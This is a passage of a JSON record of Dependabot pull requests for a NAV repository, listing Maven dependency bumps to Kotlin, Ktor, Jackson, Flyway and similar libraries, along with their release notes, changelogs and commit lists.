href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jwt` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.co...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/forebyggingsplan/pull/38","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fforebyggingsplan/issues/38","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/38/packages"}},{"old_version":"42.7.8","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-11T00:53:25.000Z","version_change":"42.7.8 → 42.7.11","issue":{"uuid":"4417355888","node_id":"PR_kwDOCK3PVs7aEo-V","number":482,"state":"closed","title":"chore(deps): bump the dependencies group across 1 directory with 28 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-18T00:59:29.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-11T00:53:25.000Z","updated_at":"2026-05-18T00:59:31.000Z","time_to_close":605164,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"dependencies","update_count":28,"packages":[{"name":"org.jetbrains.kotlin:kotlin-stdlib","old_version":"2.2.21","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"io.ktor:ktor-server-core","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-apache","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.4.0","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.26","new_version":"1.5.32","repository_url":"https://github.com/qos-ch/logback"},{"name":"org.apache.kafka:kafka-clients","old_version":"3.9.1","new_version":"4.2.0"},{"name":"com.fasterxml.jackson.module:jackson-module-jaxb-annotations","old_version":"2.20.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-modules-base"},{"name":"com.fasterxml.jackson.module:jackson-module-kotlin","old_version":"2.20.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-module-kotlin"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-xml","old_version":"2.20.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformat-xml"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.20.2","new_version":"2.21.3"},{"name":"com.ibm.mq:com.ibm.mq.jakarta.client","old_version":"9.4.4.0","new_version":"9.4.5.0"},{"name":"io.opentelemetry.instrumentation:opentelemetry-instrumentation-annotations","old_version":"2.21.0","new_version":"2.27.0","repository_url":"https://github.com/open-telemetry/opentelemetry-java-instrumentation"},{"name":"com.google.cloud:google-cloud-storage","old_version":"2.62.1","new_version":"2.67.0","repository_url":"https://github.com/googleapis/google-cloud-java"},{"name":"org.apache.commons:commons-text","old_version":"1.14.0","new_version":"1.15.0","repository_url":"https://github.com/apache/commons-text"},{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"11.15.0","new_version":"12.5.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"11.15.0","new_version":"12.5.0"},{"name":"no.nav.helse:diagnosekoder","old_version":"1.2025.0","new_version":"1.2026.0","repository_url":"https://github.com/navikt/diagnosekoder"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.3","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.junit.jupiter:junit-jupiter","old_version":"6.0.1","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"io.mockk:mockk","old_version":"1.14.6","new_version":"1.14.9","repository_url":"https://github.com/mockk/mockk"},{"name":"com.diffplug.spotless","old_version":"8.0.0","new_version":"8.4.0"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the dependencies group with 28 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin:kotlin-stdlib](https://github.com/JetBrains/kotlin) | `2.2.21` | `2.3.21` |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-client-apache](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.4.0` | `3.4.3` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.26` | `1.5.32` |\n| org.apache.kafka:kafka-clients | `3.9.1` | `4.2.0` |\n| [com.fasterxml.jackson.module:jackson-module-jaxb-annotations](https://github.com/FasterXML/jackson-modules-base) | `2.20.2` | `2.21.3` |\n| [com.fasterxml.jackson.module:jackson-module-kotlin](https://github.com/FasterXML/jackson-module-kotlin) | `2.20.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-xml](https://github.com/FasterXML/jackson-dataformat-xml) | `2.20.2` | `2.21.3` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.20.2` | `2.21.3` |\n| com.ibm.mq:com.ibm.mq.jakarta.client | `9.4.4.0` | `9.4.5.0` |\n| [io.opentelemetry.instrumentation:opentelemetry-instrumentation-annotations](https://github.com/open-telemetry/opentelemetry-java-instrumentation) | `2.21.0` | `2.27.0` |\n| [com.google.cloud:google-cloud-storage](https://github.com/googleapis/google-cloud-java) | `2.62.1` | `2.67.0` |\n| [org.apache.commons:commons-text](https://github.com/apache/commons-text) | `1.14.0` | `1.15.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.8` | `42.7.11` |\n| org.flywaydb:flyway-core | `11.15.0` | `12.5.0` |\n| org.flywaydb:flyway-database-postgresql | `11.15.0` | `12.5.0` |\n| [no.nav.helse:diagnosekoder](https://github.com/navikt/diagnosekoder) | `1.2025.0` | `1.2026.0` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.3` | `2.0.5` |\n| [org.junit.jupiter:junit-jupiter](https://github.com/junit-team/junit-framework) | `6.0.1` | `6.0.3` |\n| [io.mockk:mockk](https://github.com/mockk/mockk) | `1.14.6` | `1.14.9` |\n| com.diffplug.spotless | `8.0.0` | `8.4.0` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `org.jetbrains.kotlin:kotlin-stdlib` from 2.2.21 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 